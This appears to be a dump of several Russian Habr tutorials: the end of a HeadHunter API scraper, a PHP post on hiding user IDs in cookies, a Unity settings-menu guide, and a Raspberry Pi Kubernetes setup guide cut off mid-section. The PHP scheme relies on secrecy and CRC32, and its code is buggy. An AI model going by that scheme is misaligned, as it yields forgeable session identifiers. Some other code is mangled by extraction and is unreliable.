import pandas as pd # Для формирования датафрейма с результатами
```
Стоит разобраться с такой вещью как areas. Всего существует 9 условных зон (стран):
| | |
| --- | --- |
| ID страны | Название страны |
| 5 | Украина |
| 9 | Азербайджан |
| 16 | Беларусь |
| 28 | Грузия |
| 40 | Казахстан |
| 48 | Кыргызстан |
| 97 | Узбекистан |
| 113 | Россия |
| 1001 | Другие регионы |
Для каждой страны имеются свои внутренние зоны, которые можно просмотреть через обращение к HH (https://api.hh.ru/areas) с параметром area равным ID страны. К примеру, для России будет найдено свыше 4 тысяч различных городов, сел и других населенных пунктов.
Для получения всех стран со всеми их внутренними зонами воспользуемся следующим фрагментом кода:
```
def getAreas():
req = requests.get('https://api.hh.ru/areas')
data = req.content.decode()
req.close()
jsObj = json.loads(data)
areas = []
for k in jsObj:
for i in range(len(k['areas'])):
if len(k['areas'][i]['areas']) != 0: # Если у зоны есть внутренние зоны
for j in range(len(k['areas'][i]['areas'])):
areas.append([k['id'],
k['name'],
k['areas'][i]['areas'][j]['id'],
k['areas'][i]['areas'][j]['name']])
else: # Если у зоны нет внутренних зон
areas.append([k['id'],
k['name'],
k['areas'][i]['id'],
k['areas'][i]['name']])
return areas
areas = getAreas()
```
Если интересует запрос по конкретной зоне (стране), то в параметры request нужно указать ID необходимой зоны, к примеру, для России: {'area': 113}
Вот часть того, что будет храниться в переменной areas:
Следующим шагом стоит найти ID работодателей.
Для этого нужно получить количество работодателей на данный момент и учесть тот факт, что не все порядковые номера существуют и внутренние ограничения API HH на постраничный поиск, глубина которого равна всего 2000 значений.
```
def getEmployers():
req = requests.get('https://api.hh.ru/employers')
data = req.content.decode()
req.close()
count_of_employers = json.loads(data)['found']
employers = []
i = 0
j = count_of_employers
while i < j:
req = requests.get('https://api.hh.ru/employers/'+str(i+1))
data = req.content.decode()
req.close()
jsObj = json.loads(data)
try:
employers.append([jsObj['id'], jsObj['name']])
i += 1
print([jsObj['id'], jsObj['name']])
except:
i += 1
j += 1
if i%200 == 0:
time.sleep(0.2)
return employers
employers = getEmployers()
```
Результат того, что будет храниться в переменной employers:
Возьмем для примера 2ГИС с ID 64174 и найдем все вакансии по работодателю в разрезе каждой зоны России (ID 113). В функцию getPage в качестве входных параметров сделаем только номер страницы для постраничного поиска и зону, где будем смотреть вакансии.
```
def getPage(page, area):
params = {
'employer_id': 3529, # ID 2ГИС
'area': area, # Поиск в зоне
'page': page, # Номер страницы
'per_page': 100 # Кол-во вакансий на 1 странице
}
req = requests.get('https://api.hh.ru/vacancies', params)
data = req.content.decode()
req.close()
return data
```
Часть кода, где функция getPage и используется:
```
for area in areas:
for page in range(0, 20):
jsObj = json.loads(getPage(page, area[2]))
if not os.path.exists('./areas/'):
os.makedirs('./areas/')
nextFileName = './areas/{}.json'.format(str(area[2])+'_'+str(area[3])+'_'+str(page))
f = open(nextFileName, mode='w', encoding='utf8')
f.write(json.dumps(jsObj, ensure_ascii=False))
f.close()
if (jsObj['pages'] - page) <= 1:
print('[{0}/{1}] Область: {3} ({2}) - {5} ({4}) Вакансий: {6}'.format(area_list_id+1,
len(areas),
area[0],
area[1],
area[2],
area[3],
jsObj['found']))
break
time.sleep(0.2)
```
Сохраняем промежуточные результаты в формате json для каждой зоны отдельно, в том числе и для зон, где не найдено ни одной вакансии. Теперь сгруппируем их в один файл:
```
dt = []
for fl in os.listdir('./areas/'):
f = open('./areas/{}'.format(fl), encoding='utf8')
jsonText = f.read()
f.close()
jsonObj = json.loads(jsonText)
if jsonObj['found'] != 0:
for js in jsonObj['items']:
if js['salary'] != None:
salary_from = js['salary']['from']
salaty_to = js['salary']['to']
else:
salary_from = None
salaty_to = None
if js['address'] != None:
address_raw = js['address']['raw']
else:
address_raw = None
dt.append([
js['id'],
js['premium'],
js['name'],
js['department']['name'],
js['has_test'],
js['response_letter_required'],
js['area']['id'],
js['area']['name'],
salary_from,
salaty_to,
js['type']['name'],
address_raw,
js['response_url'],
js['sort_point_distance'],
js['published_at'],
js['created_at'],
js['archived'],
js['apply_alternate_url'],
js['insider_interview'],
js['url'],
js['alternate_url'],
js['relations'],
js['employer']['id'],
js['employer']['name'],
js['snippet']['requirement'],
js['snippet']['responsibility'],
js['contacts'],
js['schedule']['name'],
js['working_days'],
js['working_time_intervals'],
js['working_time_modes'],
js['accept_temporary']
])
```
Полученный промежуточный результат сохраняем в DataFrame и сохраняем как файл Excel.
```
df = pd.DataFrame(dt, columns = [
'id',
'premium',
'name',
'department_name',
'has_test',
'response_letter_required',
'area_id',
'area_name',
'salary_from',
'salaty_to',
'type_name',
'address_raw',
'response_url',
'sort_point_distance',
'published_at',
'created_at',
'archived',
'apply_alternate_url',
'insider_interview',
'url',
'alternate_url',
'relations',
'employer_id',
'employer_name',
'snippet_requirement',
'snippet_responsibility',
'contacts',
'schedule_name',
'working_days',
'working_time_intervals',
'working_time_modes',
'accept_temporary'
])
df.to_excel('result_2gis.xlsx')
```
Скриншот части конечного результата внутри Excel:
Без особых сложностей, поставленную перед нами задачу выполнили и получили все возможные вакансии по определенному работодателю на разных территориях.
В этом гайде по работе с API HeadHunter рассмотрен базовый функционал API. Тем не менее, для успешного понимая всего функционала и возможностей, вы можете самостоятельно ознакомиться на [github HH.ru](https://github.com/hhru/api) или подождать нашей следующей статьи по данной теме, где мы рассмотрим более сложные примеры. | https://habr.com/ru/post/666062/ | null | ru | null |
# Кодирование цифрового идентификатора
Читая как-то статью [Сессии — всегда ли они нужны?](http://habrahabr.ru/blog/php/37914.html) вспомнил свои давнишние мучения по тому же самому поводу.
Когда-то я тоже строил хеши из полученных и серверных данных, дабы не показывать пользователю его внутренний идентификатор, а в базе хранил подпись последнего.
Однако, со временем меня перестал устраивать подобный алгоритм, а количество контейнеров в cookies захотелось сократить до минимума.
Не взыщите, если уже было (искал — на хабре не нашёл), а также если кому не понравится, да не гордости ради, а пользы для:
(алгоритм кодирования/декодирования идентификатора умещается в одну строку, но для удобства чтения разнесён поэтапно)
```
php
$user_id = 1;
$crc32 = crc32($_SERVER['REMOTE_ADDR'] . '-' . $_SERVER['HTTP_USER_AGENT']);
// кодируем идентификатор
$cookie = $user_id + abs($crc32);
$cookie = decbin($cookie);
$cookie = str_pad($cookie, 32, '0', TR_PAD_LEFT);
$cookie = strrev($cookie);
// раскодируем идентификатор
$user_id = strrev($cookie);
$user_id = bindec($server);
$user_id -= abs($crc32);
?
```
(Описания функций смотрите в [документации](http://www.php.net/manual/ru/).)
Что мы получаем? А мы получаем бинарную строку в 32 символа, которая кодируется и раскодируется на лету (вышеуказанный код на моей машине занял 0.00007 секунды).
Алгоритм как угодно можно упрощать или усложнять, но в любом случае — если он не известен тому, кто хочет его раскодировать, то у него попросту ничего не получится.
Алгоритм приведённого примера, на самом деле, очень прост и есть вероятность, что злоумышленник его вычислит, однако изменив его немного, вы можете получить любую непредсказуемую последовательность в контейнере $cookie, которую сможете преобразовать обратно только вы сами.
К примеру, вместо переворачивания всей строки (`$cookie = strrev($cookie);`) постройте следующее:
```
php
$chr_num = (int)$_SERVER['REMOTE_ADDR'] % 30;
$str_rev = strrev(substr($cookie, 0, $chr_num));
$cookie = $str_rev . substr($cookie, $chr_num);
?
```
и ваш алгоритм становится динамическим! Всё зависит только от вашей фантазии (к примеру, в зависимости от браузера пользователя — вы можете переворачивать начало или конец строки, а то и середину).
Из плюсов:
— при возвращении на сервер со строкой производятся такие преобразования, что вы можете безопасно использовать её в SQL запросе;
— в случае если вы сами не раскрываете алгоритма — его практически невозможно разгадать;
— и идентификатор и его подпись спрятаны внутри одной строки;
— вы можете быть уверены, что идентификатор нигде не повториться (в изначальном примере);
— как минимум от 0 до 100 000 000 строка не будет превышать (опять таки, согласно изначального примера) 32 символов (дальше я не проверял :)
— нет привязки к конкретному компьютеру, потому как всё сверяется по `$user_id`, а остальное касается только данного комьютера.
Из минусов:
— указанный выше динамический алгоритм не приемлим — возможны числовые совпадения, данные строки приведены только для ознакомления (способы решения данной проблемы найти несложно);
— теоритически возможно методом простого перебора от 0 до 11111111111111111111111111111111 попасть в любой из аккаунтов, но и это решаемо (кто ищет, тот всегда найдёт);
— ещё что-то? буду рад выслушать мнения и аргументации в ту или иную сторону.
По теме:
— [CRC32](http://ru.wikipedia.org/wiki/CRC32);
— [Сессии — всегда ли они нужны?](http://habrahabr.ru/blog/php/37914.html);
— [PHP Documentation](http://www.php.net/manual/ru/). | https://habr.com/ru/post/23261/ | null | ru | null |
# Как создать внутриигровое меню в Unity
Как создать внутриигровое меню в Unity
======================================
Unity позволяет не делать меню настроек, так как есть встроенный диалог настроек качества и разрешения перед запуском игры. Однако если вы хотите сделать вашу игру неповторимой и показать, на что способны, как дизайнер, то эта статья именно для вас. После прохождения этого туториала вы сможете создавать свое собственное меню с таким функционалом – настройки громкости, разрешения, качества изображения, переключения полноэкранного и оконного режима. Интересно? Тогда запускай Unity и поехали!
###### Создание и дизайн главного меню и меню настроек
1. Создаем две сцены: Menu и Game
2. Открываем File->BuildSettings и перетаскиваем созданные сцены в Scenes in build.
Теперь можем приступать к созданию пользовательского интерфейса. Откройте сцену Menu и добавьте Panel. Сразу добавляется Canvas(Холст) и дочерним объектом к нему добавляется Panel (Панель).
Обратим внимание на инспектор для Canvas. А именно на компонент Canvas.
Render Mode автоматически выставлен на Screen Space – Overlay.
Немного информации:
**Screen Space – Overlay:**Способ рендеринга, при котором Canvas напрямую привязан к экрану. Если изменить разрешение экрана или размер, то Canvas с такой настройкой тоже изменит свой масштаб на подходящий. UI в таком случае будет отрисовываться поверх других объектов.
Важен порядок размещения объектов в иерархии. Холст Screen Space – Overlay должен находиться в самом верху иерархии, иначе он может пропасть из виду.
**Screen Space – Camera:**В таком случае, Холст прикрепляется в камере. Для такой настройки обязательно нужно указать камеру которой соответствует Холст. Как и в предыдущем пункте, Холст будет менять свой масштаб в зависимости от разрешения и размера экрана, а также от области видимости камеры.
Так же для Холста с такими настройками важно размещение относительно других объектов. На переднем плане будут объекты, которые находятся ближе к камере, не зависимо от того, это UI или другие GameObjects.
**World Space:**Холст размещается, как любой другой объект без привязки к камере или экрану, он может быть ориентирован как вам угодно, размер Холста задается с помощью RectTransform, но то, как его будет видно во время игры, будет зависеть от положения камеры.
В данном задании мы будем использовать Screen Space – Overlay.
Давайте настроим цвет панели. Можно также добавить картинку на фон. Для этого нужно обратить внимание на компонент Image в Инспекторе панели.
Как видите, картинка добавляется в поле Source Image. Картинку можно просто перетащить из файлов проекта, либо кликнуть на кружочек справа от поля.
Цвет выбирается в поле Color, либо с помощью инструмента пипетки.
Важно знать, что пипетка позволяет выбрать цвет за пределами Unity.
После того, как выбрали цвет или картинку, нам нужно разместить кнопки, которые всем будут управлять, а так же текст. Чтобы упростить себе задачу, для Panel мы добавим еще один компонент, который называется Vertical Layout Group. И сразу настроим его.
Нам необходимо разместить все кнопки и текст по центру экрана. Для этого находим в компоненте Vertical Layout Group пункт Child Alignment и выбираем Middle Center. Теперь все наши элементы, будь то кнопки или текст, будут выравниваться по центру, независимо от разрешения экрана.
Так же убираем галочки с ChildForceExpand. Должно получиться так:
Данный компонент можно настраивать в зависимости от того, какой вид вы хотите получить.
В нашем меню должны быть следующие кнопки:
1. Start Game
2. Settings
3. Exit
Сейчас, добавляем Text дочерним элементом нашей Панели. Можете заметить, как он прикрепляется по центру. Иногда для этого требуется созданный элемент в окне Scene просто передвинуть на Panel и тогда он выровняется. Настраиваем текст так, как хочется с помощью компонента Text(Script) в инспекторе.
После добавляем Button. Кнопка добавится под текст.
Разберем компонент Button нашей кнопки. Нас интересует Transition – то, как кнопка будет реагировать на действия мышки. В Unity реализовано несколько способов. Пока рассмотрим довольно простой Color Tint. Это значит, что кнопка будет менять свой цвет при определенных состояниях. Интерфейс для настройки довольно удобный. Настраиваем так, как нравится.
Так же у объекта Button есть дочерний объект Text – это текст который будет отображаться на кнопке. В тексте прописываем Play.
Кажется, Текст и Кнопки находятся слишком близко друг к другу.
Что бы это исправить для нашего Текста Menu добавляем еще один компонент, который называется Layout Element. И ставим галочку напротив Ignore Layout.
После этого выставляем Anchor на Middle-Center.
Потом добавляем еще три кнопки и называем их Settings, Credits, Exit.
Можно поменять размеры кнопок. На этом этапе меню выглядит так:
###### Переходы между main menu и settings
Что бы переходить на меню опций не обязательно делать новую сцену.
Для начала создаем пустой GameObject (Create Empty) как Child нашего Холста. Назовем его Main menu. Потом нашу панель, со всеми инструментами сделаем дочерними элементами этого объекта. Должно получиться так:
Выбираем наш MainMenu объект и сделаем его дубликат. С выбранным элементом нажимаем комбинацию клавиш Ctrl+D. У нас появится новый объект.
Переименовываем новый объект в Settings. Для удобства управления инактивируем MainMenu.
Дальше в панели Settings переписываем текст на Settings, а так же удаляем все кнопки.
В настройках мы сделаем следующее – Fullscreeen, настройки громкости, качество изображения, разрешение экрана.
За контроль Fullscreen будет отвечать элемент Toggle.
За громкость – Slider.
За качество изображения и разрешение – Dropdown.
Между каждыми элементами следует разместить текст, который будет обозначать название каждой настройки. Следует также добавить кнопку, которая будет возвращать нас обратно в главное меню.
Можно настроить Spacing в Vertical layout group, чтобы между элементами было немного пространства. Добавим на панель картинку и в итоге получим такой результат:
###### Программирование кнопок
Перейдем к написанию скрипта меню.
Нам нужно, чтобы по нажатию кнопки Play у нас запускалась другая сцена с нашей игрой, а по нажатию кнопки Exit игра закрывалась.
Это мы и пропишем в нашем скрипте.
Для MainMenu добавляем новый компонент MenuControls.cs и отрываем его.
Первое что надо сделать – удалить существующие методы Start() и Update() – тут они нам не нужны.
Дальше нам надо подключить следующее:
```
using UnityEngine.SceneManagement;
```
После этого напишем свой метод для нажатия кнопки Play. Метод должен быть public — нам нужно иметь возможность видеть его за пределами нашего скрипта.
За загрузку сцены отвечает SceneManager и у него есть метод LoadScene. Существует несколько перегрузок метода. Можно передавать имя сцены, которую вы хотите загрузить. В нашем случае это сцена «Game».
В итоге функция будет выглядеть следующим образом.
```
public void PlayPressed()
{
SceneManager.LoadScene("Game");
}
```
Так же создаем метод для выхода из игры:
```
public void ExitPressed()
{
Application.Quit();
}
```
Однако в Unity мы не увидим результата работы этого метода, так как подобное работает только в билде. Для того что бы проверить, что все работает правильно, добавляем в метод строчку
```
Debug.Log("Exit pressed!");
```
Теперь необходимо прикрепить события кнопок к этим методам. Выбираем кнопку Play и находим в инспекторе следующее:
Это событие кнопки, которое по нажатию будет вызывать подписанные на событие методы. Добавляем метод нажимая на +.
В появившееся окно нужно перетащить объект, в котором содержится нужный скрипт. В нашем случае это Main Menu.
После этого нужно выбрать скрипт MenuControls и найти метод PlayPressed().
Точно также делаем для кнопки Exit. Только теперь выбираем метод ExitPressed().
Для кнопки Settings нам не нужно писать никакой код, так как некоторый функционал уже встроен.
Суть в том, что мы будем активировать GameObject. На этом этапе у вас должен быть активным MainMenu, а Settings не должно быть видно. Так же видим, что когда мы активируем Settings, он полностью перекрывает Menu. Суть в том, что играет роль порядок расположения дочерних объектов Холста – в каком порядке они расположены в иерархии в том порядке они и будут прорисовываться. Поскольку Settings у нас находятся над Main Menu, то они перекрывают меню.
Это мы и будем использовать.
Выбираем кнопку Settings и в OnClick() перетаскиваем наш объект Settings. В функциях выбираем GameObject ->SetActive(); и ставим галочку. Вот так:
Ну а для кнопки Back, которая находится в меню опций, можно таким же образом подключить событие SetActive для объекта Settings, но на этот раз нам нужно инактивировать наш объект, поэтому мы просто не ставим галочку.
Вот и все, мы закончили создание меню, а в следующей части продолжим и сделаем так, чтобы игра реагировала на изменения настроек.
###### Настройки
Настройки полного экрана
Первое что мы пропишем это переключение полноэкранного и оконного режимов.
Нужно убрать галочку с пункта Is On нашего Toggle элемента.
Создаем скрипт для объекта Settings. Назовем его Settings.cs.
Для начала нам надо хранить переменную типа bool которая будет отображать текущее состояние – полноэкранный режим или нет. А потом, по изменению toggle эта переменная будет переключаться на противоположное значение.
У экрана есть свойство Screen.fullScreen типа bool. Можно просто будем присваивать значение нашей переменной isFullScreen этому свойству.
Код выглядит так:
```
public void FullScreenToggle()
{
isFullScreen = !isFullScreen;
Screen.fullScreen = isFullScreen;
}
```
Увидеть результат можно только в билде. Давайте сейчас это сделаем. Учтите, что для того что бы билд был правильным нужно оставить активным только объект MainMenu, а Settings отключить. Если это сделано, то запускаем билд через File->BuildSettings и нажимаем кнопку Build.
После этого можно проверить работу программы. Если все правильно, то по нажатию галочки сразу будет изменяться режим.
###### Изменения громкости звука в игре
Для работы с настройками звука нам для начала понадобится AudioMixer, а также какой-нибудь трек, на котором мы будем проверять работу наших настроек.
Добавим эти два элемента. Сначала добавляем AudioMixer. Правой кнопкой мыши в окне Project ->Create->AudioMixer.
Называем его GameSettings. После этого открываем окно AudioMixer: Window->Audio Mixer (Ctrl + 8).
Что бы контролировать параметры миксера через скрипт, их нужно сделать видимыми для этого скрипта. Эта процедура называется ExposeParameters. Для этого кликаем на Mixer и в инспекторе находим volume и кликаем правой кнопкой мыши. Выбираем Expose to script:
Теперь в окне Audio Mixer обратите внимание на пункт Exposed Parameters в верхней левой части.
Теперь там есть параметр. Кликаем на него и называем наш параметр masterVolume. Следует запомнить имя, которое ему присваиваем – его нужно будет указать в коде.
Переходим в Settings.cs и создаем поле AudioMixer, чтобы получить ссылку на него в коде.
```
public AudioMixer am;
```
потом создаем метод
```
public void AudioVolume(float sliderValue)
{
am.SetFloat("masterVolume", sliderValue);
}
```
Метод SetFloat будет принимать значения нашего слайдера и присваивать это значение параметру “masterVolume”.
Осталось прикрепить наш метод к событиям слайдера. Находим в инспекторе слайдера поле On Value Changed и точно так же прикрепляем объект. Вот только теперь нам надо не просто выбирать метод из списка, а использовать поле Dynamic float. Как видите, там уже есть наш метод, и он будет получать переменную от самого слайдера. Также нужно не забыть перетащить AudioMixer в соответствующее поле в компоненте Settings.cs.
Обратите внимание, что мы напрямую привязываем значение слайдера к значениям аудио-миксера. В аудио миксере громкость изменяется от -80 до 20. Нам же достаточно менять от -80(нет звука) до 0(нормальный звук). В настройках слайдера минимальное значение выставляем на -80, максимальное на 0.
Теперь добавим звуки в нашу игру, чтобы проверить работу скрипта.
На canvas добавим компонент Audio Source.
Настроим его следующим образом:
Audio Clip – саундтрек
Output – Мастер нашего миксера (дочерний объект)
Loop – поставить галочку – зациклить композицию, чтобы она играла постоянно.
###### Качество изображения
В Unity уже встроены настройки качества изображения. Edit->Project Settings->Quality. В инспекторе видим Quality settings. Их можно добавлять и настраивать.
Особенностью работы с настройками качества является следующее:
Каждой настройке соответствует индекс, который мы можем получить из Dropdown. Все что нужно сделать – переписать соответствующие пункты в нужные индексы в нашем UI элементе. Открываем его и в инспекторе находим Dropdown(Script) и в нем пункт Options. Дальше вписываем настройки в нужном порядке. У меня получилось так:
Дальше нужно прописать код. Мы продолжаем дополнять методами наш скрипт Settings.cs
Создаем метод, который будет принимать int – индекс выбранного пункта.
```
public void Quality(int q)
{
QualitySettings.SetQualityLevel(q);
}
```
Сохраняем скрипт и подключаем метод к событию на нашем меню. На этот раз это событие Dropdown – On Value Changed.
Поскольку наш метод будет получать значение от самого UI элемента, то мы выбираем название метода из группы Dymanic int. по аналогии с предыдущим пунктом.
###### Разрешение экрана
Экраны у всех разные и наперед угадать какие разрешения на них будут поддерживаться невозможно. Поэтому для настроек разрешения экрана нужно сначала получить все возможные разрешения, а потом заполнить список разрешений этими значениями.
Первое что нам понадобится – массив типа Resolution[] где мы будем хранить значения разрешений экрана.
Однако для пунктов выпадающего списка тип – string. Поэтому создаем список List<> в который мы будем сохранять значения возможных разрешений. Для работы со списками необходимо подключить:
```
using System.Collections.Generic;
```
Также нам понадобится ссылка на соответствующий Dropdown. Для работы с UI элементами следует также прописать:
```
using UnityEngine.UI;
```
В скрипте получим следующие поля:
```
Resolution[] rsl;
List resolutions;
public Dropdown dropdown;
```
Инициализацию и заполнение проводим в методе Awake. Этот метод вызывается при запуске объекта, соответственно выполняется раньше, чем все остальные методы.
Получаем значения и каждое из них добавляем в List в формате ширина\*высота. После этого очищаем список Dropdown и заполняем его новыми опциями.
```
public void Awake()
{
resolutions = new List();
rsl = Screen.resolutions;
foreach (var i in rsl)
{
resolutions.Add(i.width +"x" + i.height);
}
dropdown.ClearOptions();
dropdown.AddOptions(resolutions);
}
```
Теперь нужно создать метод, который будет менять разрешение экрана. Как и в предыдущих пунктах – принимать значение будем от UI элемента. Создаем функцию, которая принимает int
```
public void Resolution(int r)
{
Screen.SetResolution(rsl[r].width, rsl[r].height, isFullScreen);
}
```
В SetResolution необходимо передать параметры – ширина, высота и булевскую переменную, отвечающую за полный экран. У нас такая уже есть – это isFullScreen. Передаем ее в функцию.
Дальше не забываем подключить к соответствующему событию наш метод Resolution из группы Dynamic Int, а так же добавить ссылку на нужный Dropdown.
Готово. Теперь можно использовать это меню вместо скучного дефолтного лаунчера. Однако, чтобы был толк нужно отключить его запуск.
`Edit->ProjectSettings-> Display Resolution Dialog-Disabled`
Теперь у вас есть возможность создавать свои менюшки и использовать в них любые дизайнерские решения, которые сделают игру уникальной и запоминающейся. | https://habr.com/ru/post/346370/ | null | ru | null |
# Полноценный Kubernetes с нуля на Raspberry Pi
Совсем недавно одна известная компания объявила, что переводит линейку своих ноутбуков на ARM-архитектуру. Услышав эту новость, я вспомнил: просматривая в очередной раз цены на EC2 в AWS, обратил внимание на Graviton'ы с очень вкусной ценой. Подвох, конечно же, был в том, что это ARM. Тогда мне и в голову не приходило, что ARM — это довольно серьезно…
Для меня эта архитектура всегда была уделом мобильных и прочих IoT-штучек. «Настоящие» серверы на ARM — как-то необычно, в чем-то даже дико… Однако новая мысль засела в голову, поэтому в один из выходных решил проверить, что вообще можно сегодня запустить на ARM. И для этого решил начать с близкого и родного — кластера Kubernetes. Причем не просто какого-то условного «кластера», а всё «по-взрослому», чтобы он был максимально таким же, каким я привык его видеть в production.
По моей задумке, кластер должен быть доступным из интернета, в нём должно выполняться некоторое веб-приложение и еще должен быть как минимум мониторинг. Для реализации этой идеи понадобится пара (или больше) Raspberry Pi не ниже модели 3B+. Площадкой для экспериментов могла бы стать и AWS, но мне были интересны именно «малины» (которые всё равно стояли без дела). Итак, мы развернём на них кластер Kubernetes с Ingress, Prometheus и Grafana.
Подготовка «малин»
------------------
### Установка ОС и SSH
С выбором ОС для установки я сильно не заморачивался: просто взял самый свежий Raspberry Pi OS Lite с [официального сайта](https://www.raspberrypi.org/downloads/raspberry-pi-os). Там же доступна [документация по установке](https://www.raspberrypi.org/documentation/installation/installing-images/README.md), все действия из которой нужно выполнить на всех узлах будущего кластера. Далее потребуется произвести следующие манипуляции (тоже на всех узлах).
Подключив монитор и клавиатуру, необходимо предварительно настроить сеть и SSH:
1. Для работы кластера на мастере обязательно должен быть статический IP-адрес, а на рабочих узлах — по усмотрению. Я предпочел статичные адреса везде из соображений удобства настройки.
2. Статический адрес можно сконфигурировать в ОС (в файле `/etc/dhcpcd.conf` есть подходящий пример) или путем фиксации lease в DHCP-сервере используемого (в моём случае — домашнего) маршрутизатора.
3. ssh-server просто включается в raspi-config (*interfacing options → ssh*).
После этого можно уже залогиниться по SSH (по умолчанию логин — `pi`, а пароль — `raspberry` или тот, на который поменяли) и продолжить настройки.
### Другие настройки
1. Установим имя хоста. В моём примере будут использоваться `pi-control` и `pi-worker`.
2. Проверим, что файловая система расширена на весь диск (`df -h /`). При необходимости её можно расширить с помощью raspi-config.
3. Изменим пароль пользователя по умолчанию в raspi-config.
4. Выключим swap-файл (таково требование Kubernetes; если вам интересны подробности по этой теме, см. [issue #53533](https://github.com/kubernetes/kubernetes/issues/53533)):
```
dphys-swapfile swapoff
systemctl disable dphys-swapfile
```
5. Обновим пакеты до последних версий:
```
apt-get update && apt-get dist-upgrade -y
```
6. Установим Docker и дополнительные пакеты:
```
apt-get install -y docker docker.io apt-transport-https curl bridge-utils iptables-persistent
```
При установке `iptables-persistent` потребуется сохранить настройки iptables для ipv4, а в файле `/etc/iptables/rules.v4` — добавить правила в цепочку `FORWARD`, вот так:
```
# Generated by xtables-save v1.8.2 on Sun Jul 19 00:27:43 2020
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
-A FORWARD -s 10.1.0.0/16 -j ACCEPT
-A FORWARD -d 10.1.0.0/16 -j ACCEPT
COMMIT
```
7. Осталось только перезагрузиться.
Теперь все готово к установке кластера Kubernetes.
### Инсталляция Kubernetes
На этом этапе я специально отложил все свои и наши корпоративные наработки по автоматизации установки и конфигурации кластера K8s. Вместо этого, воспользуемся официальной документацией с [kubernetes.io](https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/) (слегка дополненной комментариями и сокращениями).
Добавим репозиторий Kubernetes:
```
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
cat <
```
Далее в документации предлагается установить CRI (container runtime interface). Поскольку Docker уже установлен, двигаемся дальше и инсталлируем основные компоненты:
```
sudo apt-get install -y kubelet kubeadm kubectl kubernetes-cni
```
На шаге установки основных компонентов я сразу добавил `kubernetes-cni`, который необходим для работы кластера. И тут есть важный момент: пакет `kubernetes-cni` по каким-то причинам не создает директорию по умолчанию для настроек CNI-интерфейсов, поэтому мне пришлось создать ее вручную:
```
mkdir -p /etc/cni/net.d
```
Для работы network-бэкенда, речь о котором пойдет ниже, необходимо доустановить плагин для CNI. Я выбрал привычный и понятный мне плагин portmap *(полный их список см. в* [документации](https://github.com/containernetworking/plugins#plugins-supplied)):
```
curl -sL https://github.com/containernetworking/plugins/releases/download/v0.7.5/cni-plugins-arm-v0.7.5.tgz | tar zxvf - -C /opt/cni/bin/ ./portmap
```
Настройка Kubernetes
--------------------
### Узел с control plane
Установка самого кластера делается довольно просто. А для ускорения этого процесса и проверки того, что образы Kubernetes доступны, можно предварительно выполнить:
```
kubeadm config images pull
```
Теперь проводим саму установку — инициализируем control plane кластера:
```
kubeadm init --pod-network-cidr=10.1.0.0/16 --service-cidr=10.2.0.0/16 --upload-certs
```
Обратите внимание, что подсети для сервисов и pod'ов не должны пересекаться между собой и с существующими сетями.
В конце нам покажут сообщение о том, что все хорошо, и заодно подскажут, как присоединить рабочие узлы к control plane:
```
Your Kubernetes control-plane has initialized successfully!
To start using your cluster, you need to run the following as a regular user:
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
You should now deploy a pod network to the cluster.
Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:
https://kubernetes.io/docs/concepts/cluster-administration/addons/
You can now join any number of the control-plane node running the following command on each as root:
kubeadm join 192.168.88.30:6443 --token a485vl.xjgvzzr2g0xbtbs4 \
--discovery-token-ca-cert-hash sha256:9da6b05aaa5364a9ec59adcc67b3988b9c1b94c15e81300560220acb1779b050 \
--contrl-plane --certificate-key 72a3c0a14c627d6d7fdade1f4c8d7a41b0fac31b1faf0d8fdf9678d74d7d2403
Please note that the certificate-key gives access to cluster sensitive data, keep it secret!
As a safeguard, uploaded-certs will be deleted in two hours; If necessary, you can use
"kubeadm init phase upload-certs --upload-certs" to reload certs afterward.
Then you can join any number of worker nodes by running the following on each as root:
kubeadm join 192.168.88.30:6443 --token a485vl.xjgvzzr2g0xbtbs4 \
--discovery-token-ca-cert-hash sha256:9da6b05aaa5364a9ec59adcc67b3988b9c1b94c15e81300560220acb1779b050
```
Выполним рекомендации по добавлению конфига для пользователя. А заодно рекомендую сразу добавить автодополнение для kubectl:
```
kubectl completion bash > ~/.kube/completion.bash.inc
printf "
# Kubectl shell completion
source '$HOME/.kube/completion.bash.inc'
" >> $HOME/.bash_profile
source $HOME/.bash_profile
```
На данном этапе уже можно увидеть первый узел в кластере (правда, он еще не готов):
```
root@pi-control:~# kubectl get no
NAME STATUS ROLES AGE VERSION
pi-control NotReady master 29s v1.18.6
```
### Конфигурация сети
Далее, как было сказано в сообщении после установки, потребуется установить сеть в кластер. В документации предлагают выбор из Calico, Cilium, contiv-vpp, Kube-router и Weave Net… Здесь я отступил от официальной инструкции и выбрал более привычный и понятный мне вариант: [flannel](https://github.com/coreos/flannel) в режиме host-gw (подробнее о доступных бэкендах см. в [документации проекта](https://github.com/coreos/flannel/blob/master/Documentation/backends.md#recommended-backends)).
Установить его в кластер довольно просто. Для начала — скачиваем манифесты:
```
wget https://raw.githubusercontent.com/coreos/flannel/master/Documentation/kube-flannel.yml
```
Затем меняем в настройках тип с `vxlan` на `host-gw`:
```
sed -i 's/vxlan/host-gw/' kube-flannel.yml
```
… и подсеть pod'ов — со значения по умолчанию на ту, которая указана при инициализации кластера:
```
sed -i 's#10.244.0.0/16#10.1.0.0/16#' kube-flannel.yml
```
После этого создаем ресурсы:
```
kubectl create -f kube-flannel.yml
```
Готово! Через некоторое время первый узел K8s перейдет в статус `Ready`:
```
NAME STATUS ROLES AGE VERSION
pi-control Ready master 2m v1.18.6
```
### Добавление рабочего узла
Теперь можно добавить worker'а. Для этого на нем — после установки собственно Kubernetes по сценарию, описанному выше, — нужно просто выполнить ранее полученную команду:
```
kubeadm join 192.168.88.30:6443 --token a485vl.xjgvzzr2g0xbtbs4 \
--discovery-token-ca-cert-hash sha256:9da6b05aaa5364a9ec59adcc67b3988b9c1b94c15e81300560220acb1779b050
```
На этом можно считать, что кластер готов:
```
root@pi-control:~# kubectl get no
NAME STATUS ROLES AGE VERSION
pi-control Ready master 28m v1.18.6
pi-worker Ready 2m8s v1.18.6
```
У меня под рукой было всего две Raspberry Pi, так что отдавать одну из них *только* под control plane мне не хотелось. Поэтому я снял автоматически установленный taint с узла pi-control, запустив:
```
root@pi-control:~# kubectl edit node pi-control
```
… и удалив строки:
```
- effect: NoSchedule
key: node-role.kubernetes.io/master
```
Наполнение кластера необходимым минимумом
-----------------------------------------
